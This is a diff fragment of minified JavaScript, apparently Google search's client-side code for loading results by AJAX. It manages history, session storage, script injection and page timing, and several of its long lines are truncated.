+_.Es=function(a){if((0,_.xf)(3,[a])){(0,_.Wr)(_.Xr);try{var b,c=(0,_.os)(a);b=(0,_.Gq)("s",c);for(var d={is:a,ss:0},c=0,e;e=b[c++];)(0,_.Ns)(e,d);if(_.Qe.He){b=["pmocntr","pmocntr2"];for(var c=0,f;f=b[c++];){var g=(0,_.T)(f);g&&(g.style.display="none")}}}catch(h){(0,_.tr)("DPFC",{s:a},h)}(0,_.xf)(31,[a]);window.postMessage&&window.postMessage("jrc","*")}else _.ys=1};_.rs=function(){var a=(0,_.Cf)((0,_.Rq)());return window.google.j.hm?(a=(0,_.Nl)(a)||{},"#"+(a[""]?a[""]:"")):a||"#"};
+_.cs=function(){var a;window.google.j.h5h?(a=(0,_.rs)().match(/[#&](as_q=|q=|tbs=sbi|tbs=simg)/),a=(0,_.Rq)().href.match(a?/#(.*)/:/\?([^#]*)/)):a=(0,_.Rq)().href.match(/#(.*)/);a=a?"#"+a[1]:"#";window.google.j.hm&&(a=(0,_.Nl)(a)||{},a=a[""]?"#"+a[""]:"#");window.google.j.h5h&&(a=a.replace(/&fpz=([^&]*)/g,"&fp=$1"));return a};_.hca=function(){window.event&&"number"==typeof window.event.button&&(_.Xs=window.event.button)};
+_.ica=function(a){if(!_.ks)return _.j;a=a||window.event;if(!(0,_.xf)(2,[a]))return a.preventDefault&&a.preventDefault(),a.cancelBubble=_.j,_.m;var b=a.target||a.srcElement;window.google.j.bo&&("input"==b.nodeName.toLowerCase()&&"submit"==b.type&&b.form)&&(b.form.target="_top");for(var c;b&&"body"!=b.nodeName.toLowerCase();){if("a"==b.nodeName.toLowerCase()){c=b;break}b=b.parentNode}if(!c)return _.j;var b=c.getAttribute("href",2),d=(0,_.xf)(33,[b],b);b!=d&&(c.href=d);b=_.m;if(!window.goog [...]
+"";if(_.Ys.test(c.href)||_.Zs.test(c.href)&&/(\\?|&)adurl=/.test(c.href)&&!/(\\?|&)q=/.test(c.href))/(\\?|&)rct=j/.test(c.href)||(d+="&rct=j"),/(\\?|&)q=/.test(c.href)||(d+="&q="+(0,window.encodeURIComponent)((0,_.ds)("q")||(0,_.ds)("as_q")||_.$s),d=d.substring(0,1948-c.href.length)),b=_.j;var e=_.As.csiSlowMarker;_.Nr.test(c.href)&&(e&&2==e)&&(d+="&psj=1");d&&(e=c.href.indexOf("&ei="),c.href=0<=e?[c.href.substr(0,e),d,c.href.substr(e)].join(""):c.href+d)}if(a.altKey||a.ctrlKey||a.shiftK [...]
+a.button&&0!=a.button||1<_.Xs)return b&&!/(\\?|&)cad=/.test(c.href)&&(c.href+="&cad=rja"),_.j;if(c.target){if(!(0,_.xf)(99,[a,c.href]))return _.m;b&&!/(\\?|&)cad=/.test(c.href)&&(c.href+="&cad=rjt");return _.j}b=_.Nr.test(c.href)&&!/\bnj\b/.test(c.className);window.google.j.bo&&(!b&&"#"!=c.getAttribute("href"))&&(c.target="_top");if(b&&"#"!=c.getAttribute("href"))return b=(0,window.parseInt)((0,_.gf)(c,"data-jatdrcr"),10),c=(0,_.Pr)(c.href,_.j,_.m,_.m,b),c===_.m&&(a.preventDefault&&a.pre [...]
+a.cancelBubble=_.j),c;if((0,_.xf)(57,[a,c.href])&&/&rct=j/.test(c.href)&&"_top"!=c.target)try{return _.Fs=_.j,_.Qe.qz&&/&sa=D/.test(c.href)?window.location=c.href:(0,_.yf)(c.href,_.vr),a.preventDefault&&a.preventDefault(),a.cancelBubble=_.j,_.m}catch(f){return _.j}};_.Bs=function(){return(window.google.j.h5h?(0,_.Rq)().href!=_.ss:"#"!=(0,_.rs)())&&"/search"==(0,_.Rq)().pathname&&!_.at?(_.at=_.j,"&sei="+_.bt):""};
+_.Qr=function(a,b){var c=(0,_.nr)(_.ct,b);return(0,window.decodeURIComponent)((0,_.jr)(a,c,_.j))};_.Zba=function(a,b){if(!a||!_.dt)return a;var c=(0,_.nr)(_.ct,b);return(0,_.jr)(a,c,_.m)};_.os=function(a){var b=(0,_.Qr)(a);return b?b:a};_.et=function(a,b,c){var d=(0,_.xf)(25,window.Array.prototype.slice.call(arguments),3,function(a){return 1!=a}),e="string"==typeof c?c.replace(/^\/search\?/,"#").replace(/^\/images\?/,"#"):(0,_.ur)().value();(0,_.gs)(e,{_c:"te",_ce:b},d)};
+_.ft=function(a,b){return 21==b||0==b||1==b||12==b||9==b?2:3};_.jca=function(a){return window.google.psy&&window.google.psy.q?_.m:_.gt?_.j:(a=(0,_.Df)("redir",a))?(_.gt=_.j,window.location.replace((0,window.decodeURIComponent)(a)),_.j):_.m};_.kca=function(){this.H=0;this.nh="";this.D=this.M=this.N=_.m;this.B=""};
+_.lca=function(a,b,c,d,e,f,g,h,i){if((0,_.jca)(c)||(0,_.pr)(c)&&-1!=c.indexOf("&ijn=")||(b=_.ht[c])&&b.H>f)return _.j;_.Fs=_.j;g=_.m;if(!b||b.H<f)g=_.j,b=new _.kca,b.H=f,_.ht[c]=b;d||delete _.ht[c];b.nh+=a;a=b.nh;if(!(0,_.xf)(1,[c,d,g,e,i]))return _.ys=1,!d&&'"NCSR"'==a?((0,_.fs)(7,(0,_.ur)().value()+"&sei="+h,2,{url:c}),_.m):_.j;_.ns=_.j;window.google.j.h5h&&(0,_.ur)().set("#"+c.substring(c.indexOf("?")+1));b.N||(b.N=_.j,(0,_.cr)(),window.google.timers&&(window.google.timers.load.t=_.l, [...]
+_.l));f&&(_.er=f);_.it=0<c.indexOf("&pf=");f=(0,_.Yq)(a);i=[];_.xr=c;for(g=0;g<f.length;++g){var n=f[g];b.M||(b.M=_.j,n=n.replace(/location.href/gi,'"'+c+'"'));if(!b.D)if(n=n.replace(/var je=parent.google.j;/,"var je=google.j;"),/var je=google.j;/.test(n))b.D=_.j;else if(!b.B){var p=a.match(/jesr_eventid='(.*?)';/);p&&(b.B=p[1])}i.push(n)}0<i.length&&(0,_.Zq)(i.join(";"),(0,_.ur)().value(),_.mca);if(d)c=a.lastIndexOf("\x3c/script>"),b.nh=0>c?a:a.substr(c+9);else{if('"NCSR"'==a)return(0,_ [...]
+"&sei="+h,2,{url:c}),_.m;if(!b.D)return e=b.B,(0,_.fs)(6,(0,_.ur)().value()+(e?"&sei="+e:""),2,{url:c}),_.m;(0,_.xf)(83,[]);_.jt?(a=_.jt,_.jt="",_.Qe.He?(_.Jr.back(),(0,_.Lr)(window.google.j.gwtl(),a)):(0,_.Lr)(window.google.j.gwtl(),a,1),a=_.m):c&&0!=(_.wr[c]||0)?((0,_.fs)(8,(0,_.bs)(),2),a=_.m):a=_.j;if(!a)return _.m;window.setTimeout(_.$q,0);window.postMessage&&window.postMessage("jrc","*");(0,_.xf)(0,[c,e])}return _.j};
+_.nca=function(a){if(0==a.indexOf("<pre"))(0,_.T)(_.Ks).innerHTML+=a;else{var b=window.document.createElement("div");b.innerHTML="<br>"+a;(0,_.Tq)(b)}return _.j};_.kt=function(a){var b="/"+(0,_.or)();a.rq(_.lca,b);a.B(_.Qr,b);a.rq(_.gca,"/ajax/pi/lightbox");_.lt&&(a.rq(_.nca,_.lt),a.B(_.Qr,_.lt))};_.mca=function(a,b){b?(0,_.fs)(2,b,2):(0,_.tr)("NSAIST",{},a)};
+_.oca=function(a,b,c){b=!/&rct=j/.test(a)&&_.Nr.test(a)&&!(0,_.Pr)(a,_.j,_.ba,c);!b&&window.google.j.bo&&((0,_.Lr)(window.google.j.gwtl(),a),b=_.j);return b};
+_.mt=function(a){window.google.j.init=_.m;if(a!=_.l){window.google.j.h5h=_.pca&&a.h5h;_.lt=a.dl;_.Ks=a.dlid;try{if(_.Qe.opera&&!_.vr){var b=(0,_.td)("IFRAME",{name:"wgjf",src:"about:blank",style:"display:none"});window.document.body.appendChild(b);_.vr=b.contentWindow;_.vr.addEventListener("load",window.google.j.l,_.m);_.vr.addEventListener("error",window.google.j.e,_.m)}}catch(c){(0,_.tr)("INIT5",{},c);_.ks=_.m;return}if(window.google.j.h5h&&!window.google.j.psc)window.onpopstate=functi [...]
+_.j;(0,_.mt)(window.google.pmc.j)};else{if(_.ks=window.google.j.en&&window.google.j[1]&&window.encodeURIComponent&&!!_.vr&&window.google.rein&&window.google.dstr){window.google.j.mc&&(_.Mq=window.google.j.mc);(0,_.Nq)();a.dss?_.xq=_.m:(_.Aq=(0,_.vq)("session","web"),(0,_.tq)("session","web"),_.xq=_.uq.session.web.GV);if(_.xq&&(b=_.Aq.get("f"),!(0,_.ja)(b)||"2"!=b))(0,_.yq)("s"),(0,_.yq)("c"),_.Aq.set("f","2");_.xq&&window.google.j.bv&&(b=window.google.j.bv+"_"+(window.google.j.u||""),_.A [...]
+b&&((0,_.yq)("s"),(0,_.yq)("c"),_.Aq.set("v",b)));if(a.rt&&(b=a.rt+"",_.xq)){var d=_.Aq.get("rt");if(!(0,_.ja)(d)||d===_.l||d&&d!=b)(0,_.Cq)(),_.Aq.set("rt",b)}(b=a.tct)?_.mr=(0,window.RegExp)("["+b+"]+$"):_.mr=_.l;if(_.xq&&"/search"==(0,_.Rq)().pathname){b=(0,_.zq)("bpk");for(d=0;d<b.length;d++)if(b[d]==window.google.kEI){_.at=_.j;break}_.at||(b.push(window.google.kEI),_.bt=window.google.kEI,(0,_.Bq)("bpk",b));(0,_.mq)((0,_.E)(_.m),_.ka,_.Bs)}var b=a.pi,d=a.mcr,e=a.emcrl,f=a.fdst;window [...]
+!!a.hme;(0,_.uf)(25,_.ft);a:{var g=_.j;try{var h=(0,_.tf)(),i,n=h.H(_.j,d,e),p=h.B(_.j,d,e);if(window.google.ucp||f)i=[h.N(_.j,d,e),p];else{i=[];var k=5,q=h.M(k);b&&i.push(q);_.Qe.qz&&(0,_.pr)((0,_.Rq)().href)||i.push(n);_.Pe.Fz||i.push(p);b||i.push(q);_.Qe.qz&&(0,_.pr)((0,_.Rq)().href)||i.push(h.D(_.j,d,e))}_.Gs=(0,_.aj)(h,i);_.Gs.M(_.et);g=_.Gs.D();(0,_.kt)(_.Gs)}catch(v){_.ks=_.m;break a}try{if(!_.Gs.ra()&&(k=1,i=[],i.push(n),i.push(h.M(k)),_.Is=(0,_.aj)(h,i)))_.Is.M(_.et),_.Is.D()&&( [...]
+_.l}_.ks=g}}if(_.ks){h=_.qca.concat((0,_.Gq)("c","1").co);for(i=0;i<h.length;i++)_.ks&=!!(0,_.T)(h[i])}try{if(_.ks){(0,_.ur)().B="#";(0,_.ms)().set((0,_.bs)());_.er=window.google.time();_.Qs=window.google.sn;(0,_.cr)();(0,_.fr)();window.google.j.xmi=a.icmt;var s=(0,_.Rq)().href.match(/.*?:\/\/[^\/]*/)[0];_.zs=(0,window.RegExp)("^"+s);var A=(0,_.or)();window.google.j.xmi?(_.Or=_.l,_.Nr=(0,window.RegExp)("(^"+s+"|^)/("+A+")(\\?|$)")):(0,_.pr)((0,_.Rq)().href)?(_.Or=(0,window.RegExp)("(^"+s [...]
+A+")(\\?|$)"),_.Nr=(0,window.RegExp)("(^"+s+"|^)/("+A+")\\?(.*&)?tbm=isch(&|$)")):(_.Or=_.l,_.Nr=(0,window.RegExp)("(^"+s+"|^)/("+A+")(\\?|$)(?!(.*&)?tbm=isch(&|$))"));_.Zs=(0,window.RegExp)("(^"+s+"|^)/aclk\\?");_.Ys=(0,window.RegExp)("(^"+("https?://"+(0,_.Rq)().hostname+"(:\\d+)?")+"|^)/url\\?(.*&)?sa=(X|t|U)");(0,_.Mr)();(0,_.rh)(window.document,"click",_.ica,_.j);_.Qe.He&&(0,_.rh)(window.document,"mousedown",_.hca,_.j);window.google.j.h5h&&(_.ss=a.h5l);_.Hs=a.dape;_.dt=a.tlh;(window [...]
+(0,_.Rq)().href!=_.ss||!window.google.j.h5h&&"#"!=(0,_.rs)())&&(0,_.Wr)(_.Xr);(_.Yr=a.cspd)&&(0,_.uf)(80,_.aca);var z=!(0,_.Vba)();window.wgji&&window.wgji();(0,_.Ls)();var t=_.Qe.FB,u=_.Qe.kx;_.Pe.Fz&&window.addEventListener("pageshow",function(){var a=(0,_.Un)();a&&_.$s&&(a.q.value=_.$s)},_.m);(t||u)&&window.addEventListener("pagehide",function(){var a=(0,_.Un)();a&&(a.q.setAttribute("value",a.q.value),(a=(0,_.T)("grey"))&&a.setAttribute("value",a.value))},_.m);var w=(0,_.T)("ecs");if( [...]
+w.getAttribute("data-url");if(x){var I;a=x;0<=a.indexOf("?")&&(a=a.substr(0,a.indexOf("?")+1));var O=a.substr(a.lastIndexOf("/")+1);I=O.substr(0,O.indexOf("."));if(!(0,_.Hq)("c",I)){var K=window.document.createElement("script");K.src=x;((0,_.T)("xjsd")||window.document.body).appendChild(K)}}}(0,_.uf)(32,_.oca);if((0,_.zr)()){var Z=function(){(0,_.zr)()||(_.Er=window.google.time(),(0,_.sh)(window.document,"webkitvisibilitychange",Z))};_.Er=-1;(0,_.rh)(window.document,"webkitvisibilitychan [...]
+((0,_.ws)(),(0,_.us)(_.ba,_.j,z),window.onpopstate=_.bca,window.onhashchange=_.cca):window.google.j.hm?((0,_.Nl)("",_.j),(0,_.vs)(1,z),(0,_.El)("",_.eca)):((0,_.vs)(1,z),window.onhashchange=_.dca);(0,_.br)((0,_.ur)())&&(window.document.body.style.display="",window.document.body.style.visibility="",_.nt=_.j);if(_.Qe.He&&(0,_.Ve)("8"))for(var y=window.document.getElementsByTagName("IFRAME"),z=0,G=y.length;z<G;z++)if(y[z].contentWindow==_.vr){var Q=(0,_.td)("DIV",{style:"display:none"});(0, [...]
+break}window.google.j.init=_.j;(0,_.gh)("jesrLoaded")}else 0!=window.google.j.en&&(0,_.tr)("INIT1",{}),window._gjp&&window._gjuc&&window._gjp()}catch(L){(0,_.tr)("INIT2",{},L),_.ks=_.m,window._gjp&&window._gjuc&&window._gjp()}}}};(0,_.Pc)(_.Dc.I(),"sy29");
+(0,_.ab)(_.rq,_.Xg);_.rq.prototype.set=function(a,b){try{this.D.set(a,b)}catch(c){this.B(c,"set",a,b)}};_.rq.prototype.get=function(a){try{return this.D.get(a)}catch(b){this.B(b,"get",a)}};_.rq.prototype.remove=function(a){try{this.D.remove(a)}catch(b){this.B(b,"remove",a)}};
+(0,_.ab)(_.sq,_.Yg);_.F=_.sq.prototype;_.F.aE=_.l;_.F.lD="";_.F.set=function(a,b){this.aE.set(this.lD+a,b)};_.F.get=function(a){return this.aE.get(this.lD+a)};_.F.remove=function(a){this.aE.remove(this.lD+a)};_.F.SA=function(a){var b=this.aE.SA(_.j),c=this,d=new _.Lb;d.B=function(){for(var d=b.B();d.substr(0,c.lD.length)!=c.lD;)d=b.B();return a?d.substr(c.lD.length):c.aE.get(d)};return d};
+_.Uba={local:_.oq,session:_.$g};_.uq={};_.Mq=4E5;_.xq=_.m;_.Aq=_.l;_.Fq={f:"2",c:{},s:{}};_.Dq={c:{},s:{}};(0,_.ha)("google.j.cl",_.Cq,_.ba);_.Pq={ac:"c fp r sc is sd".split(" "),ad:"is t e fp csi ir bc".split(" "),ap:["ss","ps","bm"],bc:["bc","sc"],bvch:["u","e"],p:["is","i","h","sc"],pa:["is","i","h"],pah:["is","lp"],pc:"i h fp r sc is".split(" "),pcs:"i css fp r sc is".split(" "),pds:["i","css"],ph:["is","lu","ig"],phf:["is","hf"],sa:["is","i","a"],slp:["is","op"],spf:["is","ip"],zz:[ [...]
+_.Sq.prototype.clear=function(){this.B=[]};_.Sq.prototype.getAll=(0,_.ga)("B");_.Sq.prototype.add=function(a,b){var c=(0,_.Qq)(a,b);c.n=a;this.B.push(c)};_.Tr=new _.Sq;_.vr=window.frames.wgjf;_.wr={};_.xr="";_.Yba=/[\s\n\r]*(\x3cscript[\s\S]*?\x3e)/ig;_.Vq=[];_.ar.prototype.set=(0,_.fa)("B");_.ar.prototype.value=(0,_.ga)("B");_.ur=(0,_.yc)(new _.ar("last"));_.ms=(0,_.yc)(new _.ar("previous"));window.google.j.ss=1;_.mr=_.l;_.rca="undefined"!=typeof window.TEST_MODE&&window.TEST_MODE;_.pca [...]
+_.ct={aqs:1,ac:1,bih:1,biw:1,bs:1,btnG:1,bvm:1,client:1,cp:1,dc:1,ds:1,ech:1,es_nrs:1,extab:1,gm:1,gs_id:1,gs_is:1,gs_ivs:1,gs_l:1,gs_mss:1,gs_ri:1,gs_rn:1,hs:1,inm:1,ion:1,mvs:1,npsic:1,oq:1,output:1,p_deb:1,pbx:1,pdl:1,pf:1,pkc:1,pnp:1,pq:1,prmdo:1,psi:1,qe:1,qesig:1,redir:1,rlz:1,sclient:1,se:1,site:1,source:1,sqi:1,sugexp:1,tbo:1,tch:1,tok:1,wrapid:1,xhr:1};_.ht={};(0,_.ha)("google.j.ac",_.Rs,_.ba);
+(0,_.ha)("google.j.ad",function(a,b,c,d,e,f,g){var h=_.m;_.ot=_.m;_.Tr.clear();_.Tr.add("ad",[b,c,d,0,_.j]);f||(0,_.Ps)();_.Ss?_.Ss=_.m:((0,_.gh)("dispose"),(0,_.xf)(89,[]));if(_.nt){window.google.y.x&&(window.google.x=window.google.y.x);for(h=0;h<window.google.dstr.length;h++)if(f=window.google.dstr[h])try{f()}catch(i){(0,_.tr)("DEJS",{i:h+1},i)}}b=(0,_.xf)(21,[b],b,"");try{if(b&&(window.document.title=b,_.Pe.Lt)){var n=(0,_.xf)(112);(0,_.xf)(24,[(0,_.ur)().value()])&&(0,_.Hr)((0,_.Rq)( [...]
+!n)}}catch(p){}window.google.kEI=c;e&&(window.google.kCSI=e);if(_.Xr!=d)if(b=(0,_.Gq)("c",d)){(0,_.Rs)({},d,_.j,_.j,(0,_.ur)().value(),_.j);_.Cs=_.m;b.main&&(0,_.Vs)("main",b.main,d,_.j,_.j,(0,_.ur)().value());b=b.funcs;c={ss:0};if(b)for(e=0;n=b[e++];)(0,_.Ns)(n,c);(0,_.Ws)({},d,_.j,_.j,(0,_.ur)().value());d=_.j}else d=(0,_.ds)("fp",a)||"1",(0,_.tr)("CM",{fp:d}),"1"!=d?(0,_.ps)((0,_.rr)(a,"fp","1")):(0,_.fs)(0,a,2),d=_.m;else d=_.j;h=d;_.$s=(d=(0,_.ds)("q",a))?d:(0,_.qs)(a)?"":_.$s;(0,_. [...]
+_.j);(0,_.es)(a,_.it);_.wr[_.xr]=20;return h},_.ba);(0,_.ha)("google.j.ap",(0,_.ea)(),_.ba);(0,_.ha)("google.j.api",_.Ns,_.ba);(0,_.ha)("google.j.bc",_.Sr,_.ba);(0,_.ha)("google.j.bvch",function(a,b){if((0,_.xf)(26)){var c=a.indexOf("?")+1;1<=c&&(a=a.substr(0,c)+a.substr(c).replace(/(^|&|#)(fp|bav|bvm|escfg)\=[^&]*/g,"")+"&cad=cbv&sei="+b);(0,_.cr)();(0,_.fr)();_.jt=a}else(0,_.cr)(),(0,_.fr)()},_.ba);(0,_.ha)("google.j.e",function(a){window.google.fl=_.j;(0,_.tr)("IFE",{},a||window.event [...]
+(0,_.ha)("google.j.go",_.ps,_.ba);(0,_.ha)("google.j.gt",function(){return _.Gs},_.ba);(0,_.ha)("google.j.is",_.Ls,_.ba);
+(0,_.ha)("google.j.l",function(){(0,_.xf)(83,[]);window.google.fl=_.j;if(_.Fs)try{var a=_.vr.location.href;if(_.Qe.qz&&!a)(0,_.fs)(3,(0,_.ur)().value(),2);else{var b=!_.Qe.He||_.Qe.He&&!(0,_.Ve)("8")||"complete"==_.vr.document.readyState;!/\/blank\.html$/.test(a)&&!/about:blank$/.test(a)&&(!_.vr.googleJavaScriptRedirect&&!_.vr.je&&b)&&(0,_.Lr)((0,_.Rq)(),a)}}catch(c){(0,_.fs)(4,(0,_.ur)().value(),2)}},_.ba);(0,_.ha)("google.j.mscr",_.Ar,_.ba);(0,_.ha)("google.j.p",_.Ur,_.ba);
+(0,_.ha)("google.j.pa",function(a,b,c){try{_.Tr.add("pa",[b,c,0]);var d=(0,_.T)(b),e=window.document.createElement("div");c=(0,_.Xq)(c);e.innerHTML=c;var f=window.document.createElement("div"),g=e.getElementsByTagName("script");for(a=0;a<g.length;a++)f.appendChild(g[a]);for(var h;h=e.firstChild;)d.appendChild(h);(0,_.Tq)(f)}catch(i){(0,_.tr)("PA",{id:b},i)}_.wr[_.xr]=22},_.ba);
+(0,_.ha)("google.j.pah",function(a,b){var c,d;try{for(c in _.Tr.add("pah",[b]),b){d=b[c];var e=(0,_.T)(c);if(e){if(!e.orighref){var f=e.href.indexOf("?");e.orighref=0<=f?e.href.substr(0,f+1):e.href}e.href=e.orighref+d}}}catch(g){(0,_.tr)("PAH",{id:c,suffix:d},g)}},_.ba);(0,_.ha)("google.j.pc",_.Vs,_.ba);(0,_.ha)("google.j.pcs",_.Ts,_.ba);
+(0,_.ha)("google.j.pds",function(a,b){_.Tr.add("pds",[a,b]);var c=window.document.getElementById(a);c||(c=window.document.body.appendChild(window.document.createElement("style")),c.type="text/css",c.id=a);(0,_.Us)(c,b)},_.ba);(0,_.ha)("google.j.ph",function(a,b,c){var d,e,f;try{for(d in _.Tr.add("ph",[b,c]),b)if((e=(0,_.T)(d))||!c)f=b[d],e.href=f}catch(g){(0,_.tr)("PH",{id:d,href:f},g)}},_.ba);
+(0,_.ha)("google.j.phf",function(a,b){try{var c=b.tbs;c&&0<=c.indexOf("ppl_id")&&(b.tbs=c.replace(/\+/g," "));_.Tr.add("phf",[b]);if((0,_.Xh)()){var d;window.gbar&&(d=window.gbar.qfhi)&&d(b)}else if((0,_.T)("tophf")){var c=[],e;for(e in b)c.push('<input type=hidden name="',e,'" value="',b[e],'">');(0,_.Ur)(a,"tophf",c.join(""),_.j)}}catch(f){(0,_.tr)("PHF",{fields:b},f)}},_.ba);
+(0,_.ha)("google.j.sa",function(a,b,c){try{_.Tr.add("sa",[b,c]);var d=(0,_.T)(b);(0,_.as)(d,c)}catch(e){(0,_.tr)("SA",{id:b,elt:d,attbs:(0,_.Rg)(c)},e)}},_.ba);(0,_.ha)("google.j.sl",_.Lr,_.ba);(0,_.ha)("google.j.slp",function(a,b){try{_.Tr.add("slp",[b]);var c;window.gbar&&(c=window.gbar.slp)&&c(b)}catch(d){(0,_.tr)("SLP",{id:b},d)}},_.ba);(0,_.ha)("google.j.spf",_.es,_.ba);(0,_.ha)("google.j.te",_.ft,_.ba);
+(0,_.ha)("google.j.xi",function(){if(window.google.y.first){for(var a=0,b;b=window.google.y.first[a];++a)b();window.google.y.first=[]}window.google.x=function(a,b){b&&b.apply(a);return _.m};window.google.pageState=(0,_.ur)().value();for(a=0;a<window.google.rein.length;a++)if(b=window.google.rein[a])try{b((0,_.br)((0,_.ur)()),_.Ds)}catch(c){(0,_.tr)("INJS",{i:a+1},c)}_.nt=_.j},_.ba);(0,_.ha)("google.j.xmi",_.m,_.ba);
+(0,_.ha)("google.j.xx",function(a,b){try{_.ot=_.j,(0,_.Wr)(_.Xr),(0,_.Ur)((0,_.ur)().value(),"sdb",""),(0,_.Ur)((0,_.ur)().value(),(0,_.or)(),b)}catch(c){(0,_.tr)("_xx",{},c)}},_.ba);(0,_.ha)("google.j.zc",_.Ws,_.ba);(0,_.ha)("google.j.zp",(0,_.ea)(),_.ba);
+(0,_.ha)("google.j.zz",function(a,b){_.Tr.add("zz",[_.j,_.ot]);window.document.body.style.height="";b||window.google.timers&&window.google.timers.load.t&&(window.google.timers.load.t.prt=window.google.time());var c=(0,_.xf)(19,[(0,_.ur)().value()],(0,_.ur)().value());a:{try{var d=(0,_.$r)();d==_.l&&(d=_.$s);if(d==_.l)break a;d=(0,_.xf)(4,[d],d,_.l);if(d==_.l)break a;var e=(0,_.Un)();e&&e.q.value!=d&&(e.q.value=d)}catch(f){(0,_.tr)("PQ",{},f)}(0,_.Mr)()}b||window.google.timers&&window.goo [...]
+(window.google.timers.load.t.pprt=window.google.time());b||(0,_.Ms)(c);_.ys=1;(0,_.fr)();if(!_.ot&&(!b&&window.google.timers&&window.google.timers.load.t)&&(window.google.timers.load.t.ol=window.google.time(),window.google.timers.load.t.jsrt=_.er,_.ns))try{++_.Dr;var g=window.document.getElementsByTagName("img");_.Cr=g.length;_.Gr=0;_.Br=_.m;for(var h=0,i;h<_.Cr;++h)i=g[h],(0,_.yr)(i,_.Fr),i.complete||"string"!=typeof i.src||!i.src?++_.Gr:i.addEventListener?(i.addEventListener("load",_.F [...]
+_.Fr,_.m)):(i.attachEvent("onload",_.Fr),i.attachEvent("onerror",_.Fr));c="n";_.Cs?c="r":_.Ds&&(c="c");window.google.timers.load.e={ei:window.google.kEI,e:window.google.kEXPI,cr:c,imp:_.Cr-_.Gr};_.it&&(window.google.timers.load.e.pf=1);var n=_.Gs.Zk();if(n&&(c=function(a){var b=_.As.csiSlowMarker;return"n."+a[0]+",ttfc."+window.Math.round(a[1])+",ttlc."+window.Math.round(a[2])+",cbt."+window.Math.round(a[3])+(b?",slow."+b:"")},window.google.timers.load.e.pfa=c(n[0]),window.google.timers. [...]
+c(n[1]),3<=n.length)){for(e=d=c=0;e<n[2].length;++e){var p=n[2][e];p>d&&(d=p);c+=p}c=window.Math.round(c/n[2].length);window.google.timers.load.e.pmd="max."+d+",avg."+c+","+n[2].join(",")}_.Gr==_.Cr&&(0,_.Fr)(_.l,_.j)}catch(k){(0,_.tr)("SCSI",{n:_.Cr,i:h,s:i?"string"==typeof i.src?i.src.substr(0,40):1:0,c:i?i.complete:0},k)}_.ns=_.ot=_.m;_.wr[_.xr]=0},_.ba);!_.rca&&(0,_.mt)(window.google.pmc.j);
+
+(0,_.Mc)(_.Dc.I(),"sy29");(0,_.Qc)(_.Dc.I(),"sy29");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"j");
+(0,_.Mc)(_.Dc.I(),"j");(0,_.Qc)(_.Dc.I(),"j");
+}catch(e){_._DumpException(e)}
+try{
+(0,_.Pc)(_.Dc.I(),"sy110");_.c1=_.m;_.cza="webkitVisibilityState"in window.document;
+(0,_.Mc)(_.Dc.I(),"sy110");(0,_.Qc)(_.Dc.I(),"sy110");
+}catch(e){_._DumpException(e)}
+try{
+_.d1=function(){_.ks=_.m;window.google.j.init=_.m};_.dza=function(a){var b;try{b=(0,_.ls)(a,_.m,_.j)}catch(c){"CO"==c.message&&(b="#")}return b};_.eza=function(a){for(var b in a)_.As[b]=a[b]};_.e1=function(){(0,_.f1)()||window.google.sn in _.fza&&_.g1&&(0,_.gza)(_.j)};
+_.hza=function(a,b,c){_.h1&&(window.clearTimeout(_.h1),_.h1=_.l);var d=b,e={subform_ctrl:1,pocs:1,beta:-1};e.leftnav=_.i1?-0.768:-1;(0,_.no)(["mbl"],c)||(e.rhs=-1);if((0,_.Xh)()&&0!=d)var f=(0,_.T)((0,_.qq)()),d=d-((0,_.T)("gbq").offsetHeight-f.offsetTop-f.offsetHeight);var f={},g;for(g in e)f[g]=e[g]*d;(0,_.f1)()&&(f.pocs=0);if(_.Qe.kx||_.Qe.vx)e=15,(g=(0,_.T)("hdtb"))&&(e+=g.offsetHeight),f.center_col=d<=e?0:d-e;(0,_.Xh)()&&(f.center_col+=18);var d={},h;for(h in f)if(e=(0,_.T)(h)){g=e. [...]
+var i=f[h]+"px";d[h]=e.style.marginTop;if(e.style.marginTop!=i&&(e.style.marginTop=i,"leftnav"==h&&(e.style.minHeight=b+"px",0==b&&_.i1&&(e.style.marginTop="19px")),_.Qe.He&&!a&&d[h]!=e.style.marginTop&&g+f[h]!=e.offsetTop)){for(h in d)if(a=(0,_.T)(h))a.style.marginTop=d[h];_.h1=(0,_.j1)((0,_.E)(_.j),function(){(0,_.hza)(_.j,b,c)},0);return}}(0,_.xf)(52,[b])};_.iza=function(){(0,_.Fd)((0,_.T)("p_chrome"));(0,_.k1)();var a=(0,_.T)("oPocsC");a&&(a.appendChild((0,_.T)("pocs")),(0,_.Fd)((0,_ [...]
+_.l1=function(a,b){var c=window.document.createElement("input");c.type="hidden";c.name=a;c.value=b;var d=(0,_.Un)();d&&d.appendChild(c)};_.m1=function(a,b,c,d){return(a=b.match("[&?#]"+a+"=([^&#]*)"))&&a[1]!=_.ba?(c=(0,window.decodeURIComponent)(c?a[1].replace(/\+/g," "):a[1]),d?c.toLowerCase():c):_.l};_.jza=function(a){if(_.n1){var b=_.o1;return a==b.Ki||a==b.Is}return _.m};_.p1=function(a,b){if(a()){var c=_.Ri.As();(0,_.xf)(41,[c])&&(0,_.hza)(_.m,c,b)}};
+_.q1=function(a){var b;if(!a||"#"==a)b="";else{a=(0,_.hr)(a);(0,_.ir)(a);var c={};for(b in _.kza){var d=_.kza[b];a[b]===_.ba&&d!==_.l&&(a[b]=d);a[b]!==_.ba&&(c[b]=a[b])}(0,_.kr)(c);b=(0,_.lr)(c)}return!b?"":"#"+b};_.r1=function(a){if(!a)return a;var b=(0,_.hr)((0,_.s1)()),c;for(c in b)_.lza[c]&&(a=(0,_.Vn)(c,a,b[c]));return a};_.mza=function(){var a=_.Ri.Oa();return a?_.cj.Bu(a):_.l};_.t1=function(){var a;a=window.google.j.h5h?(0,_.ts)():(a=(0,_.rs)())?a.substr(a.indexOf("#")):"";return( [...]
+_.s1=function(){return window.location.search||""};_.v1=function(a){return!a?"":(0,_.m1)("q",a,_.j,_.j)||""};_.u1=function(a){if(a&&"#"!=a)return a;a=(0,_.s1)();return(0,_.w1)()&&a?window.google.j.h5h?(0,_.ts)():"#"+a.substr(1):""};_.x1=function(){_.Ri.ft()};_.w1=function(){var a=(0,_.T)((0,_.qq)());return!!a&&((0,_.If)(a,"jsrp")||(0,_.If)(a,"gbqfr"))};_.f1=function(){return _.Qe.Fx||_.Qe.wy};
